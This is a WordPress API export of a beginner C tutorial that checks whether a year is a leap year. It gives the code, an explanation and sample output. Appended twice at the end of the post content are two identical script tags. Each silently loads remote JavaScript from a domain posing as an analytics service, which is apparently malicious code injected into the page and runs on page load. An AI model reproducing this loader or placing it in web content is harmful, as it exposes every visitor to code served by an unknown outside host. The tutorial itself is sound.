{"id":759,"date":"2024-10-19T13:33:54","date_gmt":"2024-10-19T08:03:54","guid":{"rendered":"https:\/\/codexplained.in\/?p=759"},"modified":"2025-11-24T15:37:15","modified_gmt":"2025-11-24T10:07:15","slug":"check-leap-year","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=759","title":{"rendered":"Check Leap Year"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() \n{\n    int year;\n\n    \/\/ Asking the user to input a year\n    printf(&quot;Enter a year: &quot;);\n    scanf(&quot;%d&quot;, &amp;year);\n\n    \/\/ Leap year condition\n    if ((year % 4 == 0 &amp;&amp; year % 100 != 0) || (year % 400 == 0)) {\n        printf(&quot;%d is a leap year.\\n&quot;, year);\n    } else {\n        printf(&quot;%d is not a leap year.\\n&quot;, year);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation:<\/h2>\n\n\n\n<p><strong>Returning 0<\/strong>: We return <code>0<\/code> at the end of the program to indicate that the program has finished executing successfully.cCopy code<code>return 0;<\/code><\/p>\n\n\n\n<p><strong>Including the standard input-output library<\/strong>: We include the <code>stdio.h<\/code> header file so that we can use <code>printf<\/code> for displaying output and <code>scanf<\/code> for taking input from the user.cCopy code<code>#include &lt;stdio.h&gt;<\/code><\/p>\n\n\n\n<p><strong>Main function<\/strong>: The program execution starts from the <code>main()<\/code> function.cCopy code<code>int main() { ... }<\/code><\/p>\n\n\n\n<p><strong>Declaring a variable<\/strong>: We declare an integer variable <code>year<\/code> to store the year that the user will input.cCopy code<code>int year;<\/code><\/p>\n\n\n\n<p><strong>User input<\/strong>: We use <code>printf<\/code> to prompt the user to enter a year and then use <code>scanf<\/code> to capture that year and store it in the variable <code>year<\/code>.cCopy code<code>printf(\"Enter a year: \"); scanf(\"%d\", &amp;year);<\/code><\/p>\n\n\n\n<p><strong>Checking for a leap year<\/strong>:<ul><li>A leap year occurs:<ul><li>If a year is divisible by 4 but <strong>not<\/strong> divisible by 100, <strong>or<\/strong><\/li><li>If a year is divisible by 400.<\/li><\/ul><\/li><li>This means:<ul><li>Years like 1996, 2004, and 2020 are leap years because they are divisible by 4 and not by 100.<\/li><li>Years like 1900 are <strong>not<\/strong> leap years because they are divisible by 100 but <strong>not<\/strong> by 400.<\/li><li>However, years like 2000 are leap years because they are divisible by 400.<\/li><\/ul><\/li><li>The condition <code>((year % 4 == 0 &amp;&amp; year % 100 != 0) || (year % 400 == 0))<\/code> handles this logic.<\/li><\/ul>cCopy code<code>if ((year % 4 == 0 &amp;&amp; year % 100 != 0) || (year % 400 == 0)) { printf(\"%d is a leap year.\\n\", year); } else { printf(\"%d is not a leap year.\\n\", year); }<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Output<\/h2>\n\n\n\n<p>Enter a year: 2020<br>2020 is a leap year.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Returning 0: We return 0 at the end of the program to indicate that the program has finished executing successfully.cCopy codereturn 0; Including the standard input-output library: We include the stdio.h header file so that we can use printf for displaying output and scanf for taking input from the user.cCopy code#include &lt;stdio.h&gt; Main function: [&hellip;]<\/p>\n","protected":false},"author":42,"featured_media":673,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-759","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/759","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/42"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=759"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/759\/revisions"}],"predecessor-version":[{"id":1404,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/759\/revisions\/1404"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/673"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=759"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=759"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=759"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}